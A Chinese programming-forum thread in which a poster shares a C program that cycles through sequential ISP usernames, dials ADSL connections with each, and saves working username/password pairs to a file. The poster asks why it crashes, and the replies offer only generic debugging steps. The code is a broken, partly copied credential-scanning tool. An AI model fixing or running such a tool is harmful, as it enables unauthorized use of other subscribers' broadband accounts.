自己写的一个宽带扫号程序,部分代码是从网上复制的,现在存在溢出情况,请教如何解决,大神们帮忙看看

自己写的一个宽带扫号程序,部分代码是从网上复制的,现在存在溢出情况,请问怎么解决,大神们帮忙看看
#define _CRT_SECURE_NO_DEPRECATE
#define _AFXDLL

#include <windows.h>
#include <stdio.h>
#include <Ras.h>
#pragma comment(lib,"rasapi32.lib") 
#include <wininet.h>

int CheckIsNetWorking();
void saveadsl(char user[20], char pass[20]);

void search()
{
long i;
char prefix[10];
long suffixstart, suffixstop;
char user[20], pass[20];
char userl[10];
puts("Welcome to ADSL Search Tools!");
puts("please input the prefix(such as:02700)");
fflush(stdin);
gets(prefix);
puts("The predix has been saved!");
puts("Now you should input the suffix:(such as:980000)");
puts("please input the start number:");
scanf("%d", &suffixstart);
puts("please input the final number");
scanf("%d", &suffixstop);

puts("starting...");

for (i = suffixstart; i < suffixstop; i++)
{
_itoa(i, userl, 10);
memset(user, 0, sizeof(user));
strcpy(user, prefix);
strcpy(user, userl);
printf("Testing: %s", user);

//如果想自动请将上面的代码直接替换成你的用户名和密码 
RASDIALPARAMSA rdParams;
rdParams.dwSize = sizeof(RASDIALPARAMSA);
strcpy(rdParams.szEntryName, "宽带连接"); //连接名称是你的拨号名称
rdParams.szPhoneNumber[0] = '\0';
rdParams.szCallbackNumber[0] = '\0';
rdParams.szDomain[0] = '\0';
strcpy(rdParams.szUserName, user);
strcpy(rdParams.szPassword, pass);

HRASCONN hRscon = NULL;
DWORD retn = RasDialA(NULL, NULL, &rdParams, NULL, NULL, &hRscon);

if (retn == 0)
{
puts("A ADSL number find!  Attempting to link to Interenet...");
if (CheckIsNetWorking())
{
puts("Link to interenet successfully!");
puts("Saving to file...");
saveadsl(user,pass);
//断开函数
DWORD off= RasHangUp(hRscon);
if (off==0)
{
printf("连接已断开...\n");
}
else
printf("断开连接出错...\n");
}
else
{
//断开函数
DWORD off= RasHangUp(hRscon);
if (off==0)
{
printf("连接已断开...\n");
}
else
printf("断开连接出错...\n");
}
}
printf("连接出错...\n");
}
}

void saveadsl(char user[20],char pass[20])
{
FILE *fp;
fp = fopen("D:\adsl.txt", "a +" );
fprintf(fp, "username:%s     password:%s", user, pass);
puts("Saved successfully!");
fclose(fp);
}

int CheckIsNetWorking()
{
if (system("ping www.baidu.com"))
return 0;
else
return 1;
}

int main(int argc, char *argv[])
{
search();
return 0;
}


“Search ADSL.exe”(Win32):  已加载“C:\Users\Chu\Documents\Visual Studio 2013\Projects\Search ADSL\Debug\Search ADSL.exe”。已加载符号。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\ntdll.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\kernel32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\KernelBase.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rasapi32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\msvcr120d.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\msvcrt.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\combase.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\advapi32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rasman.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\sechost.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rpcrt4.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\ws2_32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\sspicli.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\nsi.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\cryptbase.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\bcryptprimitives.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rtutils.dll”。无法查找或打开 PDB 文件。
0x60F9BBC3 (rasapi32.dll) (Search ADSL.exe 中)处的第一机会异常:  0xC0000005:  读取位置 0xCCCCCCCC 时发生访问冲突。
0x60F9BBC3 (rasapi32.dll) (Search ADSL.exe 中)处有未经处理的异常:  0xC0000005:  读取位置 0xCCCCCCCC 时发生访问冲突。
------解决思路----------------------
运行问题?单步调试
------解决思路----------------------
崩溃的时候在弹出的对话框按相应按钮进入调试,按Alt+7键查看Call Stack里面从上到下列出的对应从里层到外层的函数调用历史。双击某一行可将光标定位到此次调用的源代码或汇编指令处,看不懂时双击下一行,直到能看懂为止。